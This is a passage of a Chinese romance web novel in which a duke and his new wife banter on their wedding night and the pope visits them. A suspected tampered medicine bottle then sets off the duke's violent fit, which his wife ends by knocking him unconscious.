“菲利普联合布伦瑞克伯爵府一起向女王求情……还当着诸多选帝侯的面。连大主教都在为索菲娅背书,说虔诚的圣曜教徒应该享用平等人权。”海因里希看了眼被埃莉诺扶回房间的老太太,沉声道:“奶奶毫无办法,即便是女王也不能对抗所有人,只能同意。” 伊莎贝尔陷入思索。 看来她所料想的是对的。 无论她与埃德蒙之间,是死是活,索菲娅都是坐收渔翁之利的那个人。 埃德蒙倒台,接下来,索菲娅要对付的就剩…… 伊莎贝尔抬眸,盯着海因里希看了许久。 “怎么了?我脸上有什么东西?”海因里希茫然,摸了摸脸颊,自觉还和白天一样俊俏。 伊莎贝尔翻个白眼,无奈道:“最近这段时间……不,不止最近,让维克托提醒你身边的护卫,时刻警惕,注意你的人身安全。” 海因里希古怪地看着妻子,隐隐有些不忿:“是什么让你质疑我自保的能力?你以为我能在查尔维斯活这么久,是因为玛格丽特保佑吗?” 他上前一步,悄悄攥紧拳头,肱二头肌拱起来,显得礼服鼓鼓囊囊。 伊莎贝尔挑眉,视线扫过对方刻意展示的肌肉。 从充满怨气的俊脸,到穿着衣服也能看出匀称结实的腹肌和窄腰,再往下…… “喂,你看哪呢?!”海因里希压低声音,耳垂已经红了。 角落里,高大的男人挡在身前,将伊莎贝尔笼罩在阴影里。 明明是能被完全覆盖的纤细身材,她却双手抱臂,神情坦然,自信能压制一切。 “我不能看吗?” “!”海因里希呼吸一窒,脸色涨红,“那也不能现在看!” “那什么时候看?” 海因里希哽住。 冰蓝色的眼睛里充盈着揶揄的笑意。 海因里希脸色紧绷,终于明白自己被调戏了! “要看是吧?来!”他从鼻腔里发出哼笑,一把拉起伊莎贝尔的手,径直往二楼走去。 细白的手腕被攥紧,不由分说地拉扯向前。 “等等!” “不等!”海因里希嗤笑,头也不回,“你不是着急吗?” 伊莎贝尔哭笑不得:“我的意思是,你走慢点!我裙摆太长了。” “裙摆太长?”海因里希突然顿住脚步转身。 伊莎贝尔还在跟裙摆作战,一时不察,撞进他怀里。没等反应过来,视野天旋地转,整个人被海因里希扛了起来。 “这样就没关系了。” “喂!海因!” 海因里希单手将妻子扛在肩头,步履生风。 “海因……停下!”伊莎贝尔无奈地拍着他的背。 “不停!”海因里希好不容易压制她一把,得意极了。 伊莎贝尔扶额笑了,掐着他的腰狠狠一拧。 海因里希极力忍住面部扭曲:“嘶!” “不听我说话,这就是下场。”伊莎贝尔微笑,淡淡警告,“我的鞋掉了,去捡起来。” 海因里希龇牙咧嘴,回头才看见原地掉了两只高跟鞋。 “呵,急的是你,现在磨蹭的也是你。”海因里希哼哼,动作倒是很老实,轻轻松松,单手拎起鞋,再次往卧室走去。 “你确定现在急的是我?” 伊莎贝尔调整了一个舒服的姿势,胳膊搂着他的脖子借力,不让肚子膈着难受。 可是这个状态,让她说话时吐出的热气,正好喷在海因里希的耳垂边。麻痒触感,令血色立刻蔓延,甚至使得整张脸又红了起来。 海因里希脚步慢了下来,仓皇板着脸:“……我可不急!我有什么好急的?” “哼,我们只是搭档,难道真的能……”他语速飞快,顿了顿。 伊莎贝尔注视着他的侧脸,轻笑道:“能什么?” 说话时,二人已经站在卧室门口。 她轻轻挣脱束缚,赤脚站在地上,仰头看他,笑着问:“说啊,能怎么样?” 海因里希深吸一口气,偏开头:“我走了!你休息吧!” 说着闷头就往前迈步,生怕被追上似的。 “我的鞋呢?”身后传来不紧不慢,甚至带着笑意的女声。 海因里希又闷头调转方向,将鞋扔下,立刻准备走。 这一次,刚走出两步,衣角被一股劲拉住。 力气很小,却硬生生让他留在原地。 “海因里希。”伊莎贝尔靠近背对着自己的丈夫。 紧密的距离,能够让海因里希闻到妻子身上的香味,意识到这一点,他全身的感官不受控制地敏锐起来,衬衫下的肌肉微微僵硬。 “转过来。” 伊莎贝尔攥着他的衣摆,轻轻牵引。 像捏着绳索的主人,指使着小狗的方向。 直到垂眸看见那双冰蓝色的眼睛,海因里希才反应过来,自己又鬼使神差地听了她的指令。 正想抵抗骨子那点老实劲儿,就听见熟悉的清冷嗓音响起。 “抬头看我。” 海因里希固执垂眸。 “为什么不敢?”伊莎贝尔仰头看着他,“如你所说,我们是搭档,但……” “也是夫妻。”她微笑,向来代表着冷静和理智的冰蓝色眼睛,此刻却隐隐显露出蛊惑,“那……夫妻能做的事情,我们不能吗?” 海因里希怔住,眸光倒映着她的脸,最后的理智差点灰飞烟灭。 他喉结微动,一股热意直冲胸臆,令他微微颤抖。 伊莎贝尔笑看着他,打开卧室门。 “过来。”—— 作者有话说:嘿嘿! 妹妹妹夫还在玛卡巴卡,姐姐姐夫已经是成年人了。 第45章 彼此视线纠缠,在空气中擦出暧昧的火花。 海因里希喉结滚动,眼眸深邃。 忽然,纤长白皙的手指触碰凸出的喉结, 一路向下,直到停在腰带处, 轻轻勾住。 高大的男人像被摄魂的木偶, 步伐无法自控, 缓缓向前。 扶着门框的手用力到指节泛白,如同将领固守最后的领土,最终还是一根一根松开,宣告战败。 “奥黛丽,等等……”半边身子隐入昏暗的卧室,海因里希深吸一口气,突然停住脚步,目光隐忍, “你再考虑清楚。” “考虑什么?”伊莎贝尔淡淡反问。 海因里希:“……我们之间没有感情,假如……我是说, 假如未来有一天,你想离开查尔维斯过新的生活, 那我们就不应该发生关系。” “如果进行到那一步,我……”他顿了顿, 语速飞快,“我就要对你负责。” “宣泄一时的欲望的固然容易,可是、可是……这种事情上,女人总是比男人更吃亏的!”他皱眉,故意粗着嗓子,含糊说, “当然,我没有照顾你的意思,我们是搭档,搭档就是要平等,我可不想占你便宜,省得日后牵扯不清!” 伊莎贝尔盯着他,目光微怔。 在这样的视线里,海因里希被看得浑身不自在,怒道:“好吧,我知道我的想法很古板,你别这么看着我!” 伊莎贝尔没有移开视线,眼神反而越发怪异,最后甚至笑出声。 海因里希:“!” 他心乱如麻,这个女人居然还在笑! 伊莎贝尔笑着摆手,示意你先别管,我要笑一会儿。 她是真的没料到,一个建模绝佳、身体素质优良、据观察某功能也很不错的正统西方男人,居然在男女关系上如此保守。 保守得让伊莎贝尔都不好进一步展开攻势。 对她而言,和一个非常符合审美的男人合理合法地进行夫妻生活,是很正常的生理需求,也是一种调剂。 这和是否拥有感情基础、未来是不是要对彼此负责等等,没有半毛钱关系。 然而,看海因里希的意思,假如要踏出这一步,恐怕得把孩子名字都先想好。 伊莎贝尔笑了很久,直到海因里希整张脸都垮了下来,才挑眉道:“是的,你的确出乎我意料的古板,像薇奥莱特房间里那座上世纪的老笨钟,报时不准,还发出令人牙酸的咯吱声响,很欠修理……” 海因里希越听脸色越青。 “不过……”伊莎贝尔满意地收尾,峰回路转,“胜在做工精致,赏心悦目,颇有收藏价值,我很喜欢。” “喂?!你说什么呢?” 海因里希皱眉,一时分不清她在评钟还是评人。 “海因里希。”伊莎贝尔微笑,仰头看他,“我知道你在为我考虑……” “我没有!”海因里希撇开头,语气冷酷,“我只是坚守自己的原则。” “好吧,你没有。”伊莎贝尔无所谓耸肩,“但是我必须提醒你,如果建立在你情我愿的基础上,那么性|生活就不存在谁吃亏,除非你技术太差……” “这更不可能!”海因里希大声地反驳,说完才反应过来她说了什么,“等等……不是……你你你就没想过万一你以后找到了真正喜欢的人呢?万一你后悔了呢?你怎么都不知道多想想?” “你这个女人!你什么都不想!”他越说越生气,像只暴躁的大狗,目光凶狠地指责伊莎贝尔:“你就知道着急!” “我着急?”伊莎贝尔倚靠门框,语气悠闲,“好吧,就算是我着急。” “斯宾塞先生,我很欣慰你考虑到了这世上大部分女人的困境。如果我是你,我也不会鼓励任何随意对待自己身体的行为。但认同洁身自好,并不代表支持把贞洁当作枷锁,给每一个女人烙下思想钢印。” “奥黛丽小姐,我倒是很震惊,你在这件事情上为什么还保持着天真的想法?难道你不明白,男人巴不得你们这么想!巴不得你们这群小羊羔一个个都能随意解开衬裙,跳进他们嘴里!”海因里希深吸一口气,更气愤道,“你们的小脑袋瓜里根本不知道男人欲望上头的时候会有多龌龊!” 伊莎贝尔眼底浮现笑意,却并没有揶揄,更像温和的注视。 “可你没有这么做。” 海因里希眸光微暗,冷笑,“你就知道我没有吗?如果我现在就在花言巧语骗你呢?你是不是以为我真是个为你着想的好男人,傻乎乎地跳进我嘴里?男人有很多面,不是只会直来直去!你一点警惕心都没有!” 又是劈头盖脸一顿指责,伊莎贝尔笑容却越发温和。 “噢,这倒是我没想到的,你居然有这么精湛的演技。”不等对方生气,她继续说,“不过,这很重要吗?我从不喜欢揣测男人。男人心里想什么,和我有什么关系?” “哪怕他处心积虑欺骗你,也不重要?” “当然,因为他必须先想想,怎么才能骗到我。”伊莎贝尔挑眉,“男人的欺骗无非为了权钱、感情、身体。事实上,如果一个女人牢牢掌控着前两者,那么所谓的贞洁就困不住她。” 走廊灯光昏暗,脖子上的蓝宝石项链切割工艺十分精美,在微弱光线中闪烁着火彩,却比不上她盈着笑意的双眼。 “如你所说,有些男人巴不得女人放荡,可放荡的女人又会被绑在耻辱柱上鞭挞。”伊莎贝尔嗤笑,“所谓的规则,全凭男人的嘴公断,还得看他那会儿有没有发|情。这难道不可笑吗?我又为什么要遵循这套规则?” 海因里希深深地看了眼妻子,他不知道想到什么,沉默许久。 “很可笑。”他的声音低了下去,眼带嘲弄,“我当然知道那有多可笑,更知道被绑在耻辱柱上的女人的下场。可那根柱子不是一个人建立的,也不是一个人能推倒的。” “所以,我不想你未来有一天,想过新生活的时候,也面临这样的结局。我什至可以说我身体残疾,来保证你清白的名声,男人任何时候,哪怕是个废人,也要比你们过得好。你能明白吗?” “我能明白。”伊莎贝尔平静道,“可如果连我都要明哲保身,假装什么都不知道,活在这套规则里,生活境况还不如我的姑娘们要怎么办呢?永远看着一个又一个的女人被绑上那根柱子受审,惶惶不可终日,不知道什么时候就轮到自己?” “真了不起,你要做个以身殉道的伟人!”海因里希怒气冲冲,“趁早给你在查尔维斯立个雕像,就放在玛格丽特旁边好不好?” “好极了!如果可以的话,就请这么做吧!”她耸肩。 “你这个女人!讲不通道理!” “你这个固执的男人,总是一厢情愿!” “你不可理喻!” “你像头牛,不,牛都比你温顺。” …… 两个人斗起嘴来,早把主题偏出十万八千里。 彼此冷静片刻,都觉得幼稚极了。 海因里希重重呼出一口气,偏过头:“不跟你吵了,我的好心总是换不来好报!” 伊莎贝尔笑了起来。 白天,两个人还在礼堂发誓互敬互爱。晚上就吵得不可开交。 昏暗的光线洒在他棱角分明的侧脸,气呼呼的样子中和了平时的冷酷暴躁,显出生动的俊美。 这样的海因里希很少见。 在外人面前,他总要摆出一副吓唬人的冷脸,再配上高大的身形,的确叫人不敢亲近。 伊莎贝尔心想,真该叫楼下的人都过来看看公爵先生现在的样子,像只不讲道理的炸毛狗。 也许是她目光停留太久,海因里希敏锐回头,凶巴巴:“看我干什么?” 伊莎贝尔悠然打量他很久,忽然开口,“海因,我承认在此之前,并没有想过让你作为真正的伴侣,和我度过一生。准确来说,我没想过和任何男人在一起。” 海因里希微怔,难堪地撇过头,冷哼一声:“谁在意?” “可是我现在改变想法了。”伊莎贝尔轻笑,靠近他,“如果是你,也许能试一试。” 海因里希眸光顿住。 “还有,认真回答你上一个问题。”她淡淡道,“我没想做伟人,我只是在做一件很简单的事情。” “你记不记得第一次吵架时,我跟你说的话。我有能力对自己做出的任何决定负责,也承担选择的结果。” “身体是我的,感受也是我的,当我知道自己可以掌控一切,那么我做什么都是对的。” “假如未来我们结束合作,仍然觉得不合适,成为锡兰公国唯一一对离婚的公爵夫妇,我同样有信心过得好。” “女人脚上的镣铐那么多,我的信心就是钥匙。既然有钥匙,总得解开看看。”她顿了顿,“至少走出去给其他姑娘们看看。” “姑娘们如果遇到同样的难处,只要看见我走出来,就知道世上没有绝路,我能做到的,她们也能做到。” “她们会知道,女人骑马可以跨坐,也能和男人在赛马场上较量。”伊莎贝尔目光坦然,“离过婚、失去贞洁、被骗感情等等……都没什么大不了的。跌倒了再爬起来,坚定活下去。这很简单不是吗?” 海因里希陷入沉默,眼底情绪流转,盯着她看了许久。 他听见她最后的轻笑,“我做的,就是这么简单的事。” 海因里希不知想到什么,缓缓垂眸。 简单吗?解开自己心中的镣铐,的确简单。 可要撼动世俗的成见,推倒那些大山,比登天还难。 她这么聪明,应该再清楚不过了。 只是即便如此,她还是那么轻松地微笑,告诉他,这一切很简单。 就像那天她自信地登上赛马场,驰骋旷野,在猎猎狂风里冲向终点,赢得那么轻松漂亮。 海因里希长久地凝视那双冰蓝色的眼睛。 此刻,昏暗的光线里,她和那天一样,璀璨得叫人挪不开眼。 若有若无的香味渐渐飘近。 “海因里希,我给出的理由,足够让你放心了吗?”伊莎贝尔靠近,仰头看他。 距离近到能感受温热的气息。 刚才剑拔弩张的气氛,顿时暧昧起来,空气里流动着似有若无的情愫。 海因里希手指无意识攥紧,下一刻,领口被纤细的手轻轻揪住,视线无可避免地与她纠缠。 “现在,可以吻我吗?” 轻飘飘的一句话,像惊雷炸响。 冰蓝色的眼睛倒映着海因里希错愕的神情。 而他在那句话落地之后,什么也听不见。 脑子如烟花炸开,除了绚烂与轰鸣,就剩下粉红色的唇瓣,一张一合。 想吻她吗? 海因里希喉结微动。 如果抛开一切顾忌,那么答案显而易见。 他深吸一口气,狠狠闭上眼,像是下定决心,终于贴近—— 咚咚、咚咚。 他听见自己的心跳剧烈如擂鼓,只觉得整个人都陷入麻痹状态。 ——触感和想象中的一样柔软。 意识到自己在做什么的瞬间,汹涌的热意从胸膛蔓延到四肢百骸,搂住后颈的手不自觉地用力,想要品尝得更深。 呼吸越来越急促。 海因里希一把抱起新娘,落在怀里的重量很轻。 凑近就能感受皮肤的温热,还能闻到脖颈的馨香;腰是软的、一只手就能揽住;他下意识抱紧,感觉能将她整个人搂在怀里一点缝隙都不漏…… 脑子不受控制地遐想,海因里希整个人都快烫熟了。 脚下自动迈步,走入卧室。一边想体型差距这么大,她受得了吗? 楼梯拐角突然传来呼唤。 “斯宾塞公爵?斯宾塞先生?您在吗?” 房间里,海因里希顿住,假装没听见。 “公爵先生?!”声音越来越近。 海因里希额角青筋直跳,疼得不止是脑子! 最气人的是,仰躺在床上的伊莎贝尔还在对他笑,“有人找你,你不理他吗?” “不见!” 可声音还在靠近,伴随着一连串的脚步声。 “公爵先生!有重要的事情找您,您在吗?” 几乎是一瞬间,海因里希暴躁抬眸,冲外面冷喝:“什么事?!” 回答的人声音颤抖,欲言又止:“那……那个……教皇有请您和夫人,一起过去。” 海因里希深呼吸,狠狠闭眼。 这一刻别说是教皇了,就算是上帝亲临他都想一枪崩了他! 伊莎贝尔挑眉,推开他穿好衣服:“这就是你浪费时间,只顾着和我拌嘴的报应。” 海因里希咬牙切齿,浑身散发着怨气,眼睁睁地看着妻子对镜整理仪容,很快恢复正常。 而自己……他低头看了看,怒捶床! 越想越气,于是豁然起身,扯过伊莎贝尔,狠狠咬了一口。 伊莎贝尔抬手就是一巴掌,但被他迅速拦住。 对着镜子满意地看了看她红肿的嘴,海因里希哼笑:“谁也别笑话谁了。” 伊莎贝尔微笑,狠踹一脚。 “嗷!!” 门外,报信的人悚然一惊。 “噢,新婚第一天就家暴吗?可怜的公爵大人。”—— 作者有话说:是尾气,嘿嘿被猜到了。但素也真的不敢开了,绿江限速(没有怪绿江的意思,举手投降) 还是以剧情需要为主哈,来日方长嘿嘿。 到时候可以去别的地方练下科目三,我考驾照是一把过的,限速比较限制发挥(摇头叹气) 第46章 月上中天, 宴席已散,宾客们的马车陆续离去。 窗边,教皇收回视线,再次看向墙上的画像——灯光幽暗,画上的女人温柔娴静、双手规矩地叠放在膝盖上、一双褐色的眼睛仿佛能看透人心。 阅览室里摆放着斯宾塞家族历代家主的画像,女人旁边,是一个黑发男人的画像——很典型的斯宾塞长相,黑发黑眸,瞳孔深邃,不苟言笑,似乎在审视着来到此地的参观者。 身后传来脚步声,大主教用低沉的腔调禀报:“尊主,信徒海因里希·斯宾塞及其夫人已经到了。” 教皇的注意力仍然停留在那幅画上, 淡淡开口:“让他们进来。” 很快,海因里希和伊莎贝尔在小教徒的带领下, 一齐走进,右手搭肩躬身行礼。 “教皇大人。” 伊莎贝尔垂着头,视野里只看见两只手分别扶起他们二人,头顶响起柔和的嗓音, “起来吧,孩子们。今夜,我只是见证婚礼的宾客。” 说罢,教皇的权杖轻击地面, “格里芬。” 大主教上前一步,递来一只盒子,“神圣永恒曜主在上,教徒斯宾塞,尊主将赐予你们福音,圣灵真身永远庇佑二位。” 身边的小教徒们将盒子打开,又将里面的手抄圣经递给海因里希,整个过程虔诚无比。 于圣曜教徒而言,教皇手抄的圣经的确是无价之宝,放眼整个锡兰公国也很少有人得此殊荣。 伊莎贝尔垂眸。 余光里,她看见海因里希神情平静,接过经书,在胸口画十字:“信徒斯宾塞,感恩尊主。” “感恩尊主。” 伊莎贝尔跟随海因的称呼,但没有自称信徒。 教皇似乎才注意到她,淡金色的眼睛里盈着和蔼的笑。 “海因,听闻你的夫人并非圣曜教徒。” 海因里希眉头微皱,正要回答,就听伊莎贝尔从容道:“是的,但无碍我对尊主的敬仰。” “圣灵赐予福音,播撒雨露,我铭感于心。” 她恭敬行礼,虔诚的神情叫人挑不出错。 锡兰公国宗教氛围浓厚,大多数的公民从出生开始就要接受洗礼,生老病死,婚丧嫁娶,圣光贯彻每一位信徒的人生。 往前倒退数百年,无信仰者被视为异端,要被捆上绞刑架烧死。 自从三百年前护国战役结束后,政权与教会逐渐分离,各类哲学思想开始萌芽。斗争较为激烈的赫斯兰、与新兴埃尔美联邦率先出现无宗教信仰群体、或是主动偏向世俗化教义,将神学与科学融合。 锡兰公国同样也出现这样的群体,诺曼家族就是其中之一。 这倒不是说爱德华多么先锋前卫,而是诺曼家族的先祖,三百年曾是解放思想派的中坚力量——图兰·诺曼男爵作为贵族里少有的无神派代表,一直享有崇高的地位,所以子孙后代延续了他的荣光,即便身为无信仰的少数派,也没有人觉得不对。 不过,身为少数派,虽然看似合理合法,但在真正的社交场合,还是会出现种种由身份带来的不便。 非我族类,其心必异。人类的想法向来如此。 所以,无论伊莎贝尔此刻是出于真心还是恭维,明面上看还是很识时务的。至少让众人都接受了她的说法。 当然,勉强接受是一回事,信任又是另一回事。 大主教格里芬就是个严苛的教徒,不仅自己恪守各种规章,还会以同样的标准要求别人。此刻,他盯着以伊莎贝尔,沉声反驳道:“无信仰者再怎么巧舌如簧,都是不可理喻的异端。但愿你能及时回头。” 伊莎贝尔轻轻挑眉,尚未说话,就听教皇淡淡道:“格里芬,退下吧。” 大主教皱眉,恭敬道:“尊主……” “今晚要启程回圣匹斯堡,请尽早安排。现在,我想和新婚夫妇单独聊一聊。”教皇平静地看着格里芬,补充道,“以西里尔·霍斯纳德的名义。” 大主教愣住。 伊莎贝尔看见身边的海因里希也怔了一瞬。 她忽然想起,西里尔·霍斯纳德,是教皇的世俗身份。 大主教带着小教徒们退下,幽暗的室内只剩三人。 脱去教皇外衣,尊主先生随意靠坐在沙发上,笑容和蔼:“不用紧张,坐下和我聊聊吧,孩子们。” 他的面容看不出年纪,顶着近乎同龄人的外貌,说话却像长辈,语气也充满长者的温和。 海因里希给伊莎贝尔整理好裙摆,才在他对面坐下。 “教父,为什么不留宿一晚,明天再启程?” 教皇看了眼窗外。 车架已经走得七七八八,但属于女王的那一辆还停留在原地。 “不亲眼看着我离开,塞拉菲娜不会放心。” 海因里希沉默片刻,选择避开这个话题。 教皇似乎也不想叙旧,他再次拿出一个盒子,笑道:“刚刚是教皇给的,现在,才是教父给你们的新婚贺礼。” 海因里希接过,打开一看,里面躺着一封工厂契约,以及两只在黑夜里闪烁着火彩的宝石耳坠。 伊莎贝尔微怔。 如果说,刚刚的圣经是无价之宝,但不具备流通的世俗价值。那么现在的这件礼物,就实在很多。 “契约是给你的。”教皇看着海因里希,又看向伊莎贝尔,“珠宝是给你的。” 海因里希还在盯着那对帝王绿耳环。 教皇感受到他的目光,沉默两秒,笑着对伊莎贝尔道:“你的祖母,薇奥莱特女士赐予你继承的珠宝里,能找到和这对耳环配套的头冠和项链,现在……” 他顿了顿,视线落在对面墙上的画像——女人依旧笑看着他,耳垂挂着的那对帝王绿耳环,在黑夜里栩栩如生。 “算是……物归原主了。” 他的语气像是感叹,又像是什么情绪也没有。 海因里希合上盖子,从教皇的眼睛里看见瞳孔中倒映的那幅画,他声音平静:“谢谢教父。” 教皇和他对视,良久才站起身,轻拍他的肩膀:“我走了。” 海因里希和伊莎贝尔同时站起身,跟随教皇走到门外。 大主教已经备好了车,走廊上站满了恭迎的教徒。 教皇顿住脚步,回头看着夫妇二人。 “海因,无论你怎么想,教父都希望你幸福。”启程前,他说,“这也是你母亲的心愿。” 海因里希看着熟悉的淡金色眼睛,过往的记忆一幕幕浮现。 这个人为刚出生的小海因洗礼、牵着年幼的他参观圣殿、传授他圣曜教徒真正的信仰、赐予他权杖,是他信仰的见证者,也是成长的陪伴者…… 他深吸一口气,闭了闭眼,诚恳俯首,却始终说不出那句感谢。 伊莎贝尔察觉他的异状,迅速道:“感谢您的仁慈。” “不用送了。”教皇没有在意海因里希的失礼,微笑摆摆手,压低声音道,“你是个机灵的姑娘,有时候,无信仰也不是坏事,下次不必矫饰。” 伊莎贝尔配合地压低声音,语速飞快:“格里芬主教不会拥有您的宽容。” “教皇的威严也不允许宽容。”教皇挑眉,“但西里尔可以。” 这段小插曲只有三人能听见,踏出这道门,西里尔仍是神圣的信仰,人间教皇。 夜色里,目送着教皇在簇拥之下离开,女王的马车也随之启程。 今晚的大戏终于落下帷幕。 伊莎贝尔和海因里希终于放松了紧绷的神经,面面相觑。 “放心吧,我不会探究你不想说的往事。” 伊莎贝尔率先拎着裙子下楼,她累了,现在要立刻休息。 海因里希沉默地跟在身后。 快到房间,他才轻声开口:“西里尔·霍斯纳德,是我的教父,也是我的仇人。” 如果要说出这个故事,那就意味着要揭露斯宾塞家的伤疤。 可她是他的妻子,斯宾塞家的女主人,有权力知道一切。 回想起往事的一瞬间,海因里希手指不自觉地颤抖,眼尾泛红。 不行,不行…… 又开始了…… 这次为什么快了这么多?因为看见了他吗? 画像上的女人突然露出狰狞的微笑! 海因里希立刻摇晃脑袋。 鲜血、眼泪、硝烟、尸体、一幕幕闪烁…… 他立刻掏出药瓶,飞速倒出最后两颗,生咽了下去。 伊莎贝尔眼带狐疑:“你在吃什么?” 脑海里的喧嚣重归平静,海因里希喘息着,平复好一会儿,才将药瓶攥紧,背过手:“有些不舒服。” 伊莎贝尔垂眸:“是治你说的那种病?” 海因里希怔住,垂下头,嗤笑:“对,疯病,我说过的,我是个疯子。” 伊莎贝尔看着他,没有说话。 忽然,她握住他的手,将药瓶从掌心里扣出来,细细查看。 淡淡的药香从瓶口传来,上面什么标签也没有。 “吃了多久?医生是谁?” “很多年了,是奶奶请来的。”海因里希缓缓道,“所有药物都是维克托经手,不会有问题。” 伊莎贝尔没有多问,斯宾塞别的地方漏成筛子,海因里希身边的护卫一直很严密。如果医生来历不明,那么他早就死了。 既然能活到现在,就说明药物可靠。 但是……她看了眼药瓶,走进房间,将它收到包里——为保险起见,回了查尔维斯还是再找人检测一下。 “你不放心?” 海因里希默默看着她的举动,眸光安静。 是不放心药?还是不放心他? 也对,一个随时会发病的恐怖疯子,谁会不害怕? 伊莎贝尔没理他,径直倒了杯水,递到他面前,“喝了。” 海因里希皱眉:“什么?” 伊莎贝尔:“生嚼药丸不苦吗?还是说这样的壮举能让你获得勇士勋章?” 海因里希怔住。 他仓促接过杯子一饮而尽,差点呛到。 “慢点。” 伊莎贝尔揶揄地看着他。 “早点休息吧,今天实在太累了。”她打了个哈欠,扫了眼不动如山的男人,“怎么?还有精力留宿?” 海因里希倏然起身:“没有。” 贵族夫妻们为保证睡眠,都有各自的房间,但不包括新婚夜。 可是妻子都下了逐客令,他哪还能留下?怪就怪刚才被人打断好事…… 他快步走到门口,腰带又被人勾住。 伊莎贝尔牵着他转过身,在嘴唇上不轻不重地啄了一口:“晚安吻,明天见。” 说是告别,但是那双眼睛简直叫海因里希难以挪动脚步。 他闭了闭眼,一把抱起妻子深深吻了下去。 月光洒进窗棂,桌面的药瓶投下一道阴影。 - 楼下,送走所有宾客,斯宾塞家的仆人们终于可以休息。 维克托伸了个懒腰,对着清单检查工作,看见最后的事项,忽然想起自己忘了什么事。 雇主先生的药见底了,负责秘密治疗海因里希的医生正好来了墨伦维克,维克托趁此机会去拿了新疗程的药丸。 他小心将新瓷瓶锁进保险柜,触摸到温润的药瓶,莫名愣了片刻。 纯白瓶身,无色无味,和以前的药没什么不同。 这是亲手从医生那拿的,不可能有问题…… 但是…… 维克托总觉得哪里不对。 敏锐的神经飞速运转,事关雇主的身体,他比谁都明白,一旦药的事情有差池,会引发多严重的后果。 脚步下意识往楼上走,越来越快! 同时,脑中灵光乍现! 是的!这一瓶绝对没有问题,和以前的药一样! 但是……从查尔维斯带来的那一瓶有问题! 那一瓶……有药香! 药丸他细细检查过!不可能被人调包!有异样的是……药瓶! 这一年里,海因里希很久没有发病,因此上一瓶药的使用频率很低,直到最近婚礼前夕才快要见底。 这次特意带过来就是以防万一,毕竟要见到教皇…… 如果没记错,那瓶药拿出来时总觉得哪里不对,但是诸事繁杂,维克托在那一刻没有察觉不对劲!可是往往就是某一瞬间的粗心,会造成不可挽回的结果…… 该死!该死! 维克托在心中祈祷,希望海因里希没有吃下那瓶子里的药…… 脚步越来越快,几乎用奔跑的速度! “快!都起来!你!去找医生!”维克托大吼着,召回一头雾水的仆人们,“你去找薇奥莱特夫人,告诉她药出要问题了,她明白是怎么回事!别愣着快点!” 他一面吼着,人已经冲上二楼! “公爵先生!公爵夫人!” 他必须做好最坏的打算! 想起那个惨死的牧师…… 维克托心中颤抖! 斯宾塞所有人都不会忘记那一夜。 假如、假如公爵出事,现在和他待在一起的人,恐怕凶多吉少!- 隔音良好的门,阻隔一切嘈杂。 外面是急促的脚步声,室内一片祥和。 伊莎贝尔却忽然察觉不对劲。 海因里希开始摇晃着脑袋,试图让自己清醒。 她听见他痛苦的喘息:“你怎么了?” 她倏然坐起身,穿好衣服。 黑暗里,海因里希垂着头,浑身颤抖。就在伊莎贝尔靠近的那一刻,猛然抬眸。 伊莎贝尔下意识后退! 可是来不及! 像被猛兽盯住的猎物,她的脖子被一只大手狠狠掐住! 血红的双眼一眨不眨地盯着她,充满嗜血的欲望,像关在牢笼里的猛兽,终于被放了出来! 第47章 铁腕扼住咽喉, 呼吸越来越艰难! 伊莎贝尔用尽全力挣脱那只手,却无法撼动分毫! 失去理智的凶兽比平常的力气还要大,几乎瞬间要将人置于死地! 伊莎贝尔神智越发模糊, 但本能的求生欲逼迫自己保持冷静! 耳边传来杂乱的脚步声,伴随阵阵惊呼。 “快!快拉开公爵!” 海因里希本就是战场上摸爬滚打的军人,体质与武力远不是普通男人能比的,现在陷入狂态,更是一发不可收拾! 几个仆人仓促上前,简直像自投罗网的羚羊!不仅拉不开人,还被公爵突然回眸的神情吓得啰嗦! “啊!魔鬼!是……是魔鬼又回来了!” 被那双充血的红瞳盯上,男仆大叫着后退,跌倒在地。 另一个男仆来不及跑, 被掐住脖子拎了起来:“不……” 他脸色涨红发不出声音,脚离开地面,不断挣扎,死神拎着镰刀慢慢逼近…… 维克托:“先生!先生!放开他!” “海因!!醒醒!我是奶奶!” 薇奥莱特散乱着头发,急匆匆带着人赶来。 “海因!快!你们过去拉开他!” “公爵先生!醒醒!” 仆人们犹豫着不敢上前,硬着头皮试探性地呼唤。 公爵这个模样太可怕了!比传说中的恶魔还要吓人! 他们都听说过斯宾塞家的传说,现在亲眼所见, 哪还有不信的? !只是仆人而已,又不是傻子!难道还要像那个牧师似的去送命吗? ! …… 模糊视线里, 伊莎贝尔看见所有人在疾呼哭喊,那个仆人的挣扎渐渐微弱, 而掐住自己脖子的右手仍然没有移开…… 什么魔鬼?什么诅咒? ! 她才不信!她只知道,自己不能就这么死了!绝不能! 极力保持镇静的头脑,敏锐地察觉海因里希右手力气松懈了一瞬! 千分之一秒的时间里,她毫不犹豫地拎起床柜边的摆件砸了过去—— “砰!!” “啊!海因!” “不!” …… 所有人瞪大眼睛,惊讶地看着这一幕。 众目睽睽之下,鲜血顺着额头蜿蜒,流淌在海因里希的脸上。 满眼猩红,他的眼珠缓缓转动,似乎看了眼伊莎贝尔,才彻底昏了过去。 伊莎贝尔轻轻喘息,放下摆件。 她控制了力道,不会伤及性命,但能让凶兽安稳几个小时- 天边泛起鱼肚白,公爵府彻夜未眠。 二楼卧室临时改成病房,由专人看守。 医生神情凝重,从房间出来。 “公爵先生的情况很糟糕!老夫人,请你们要做好最坏的打算!” 薇奥莱特脸色苍白,厉声道:“伦纳德医生!请你说清楚!到底怎么回事?!海因的病一直是你医治……” “我明白!请您冷静点,薇奥莱特夫人。”医生皱眉,摇头叹道,“这次真的太严重了,据我判断,公爵在发病前一个月的时间里,服用太多药物,以至于超过身体极限。我早就叮嘱过的,不能滥用,否则会有抗药性,一旦狂躁情绪再次产生,就无法压制!” 薇奥莱特立刻回头:“维克托!过来!海因的药一直由你看管,为什么他会服用过量药物?!你让人通报,说药出问题了,是什么问题?!” 维克托一夜没有合眼,镜片后的眼睛满是血丝,此刻却不敢懈怠,赶紧起身走了过去。 “老夫人,药丸没有问题,我怀疑是……”他正要说出自己的猜测,伸手一摸口袋,里面空空如也! 东西呢? ! 在进入卧室时,他就看见桌面上的药瓶,当时场面混乱,为了保留证据,他暂时将瓶子塞进口袋,现在……没了? ! “你倒是说下去!”薇奥莱特皱眉。 维克托只觉得脑袋胀痛,根本分不出心神回答! 他开始只是猜测药瓶有问题,现在有人处心积虑偷盗,反而证实了这一点! 可是……医生难道没有诊断出来吗?他为什么说公爵是服用药物过量? ! 伦纳德可是负责诊治海因里希很多年的专业医生,深受信任! 如果现在提出质疑,自己却没有证据!薇奥莱特夫人会相信谁? ! 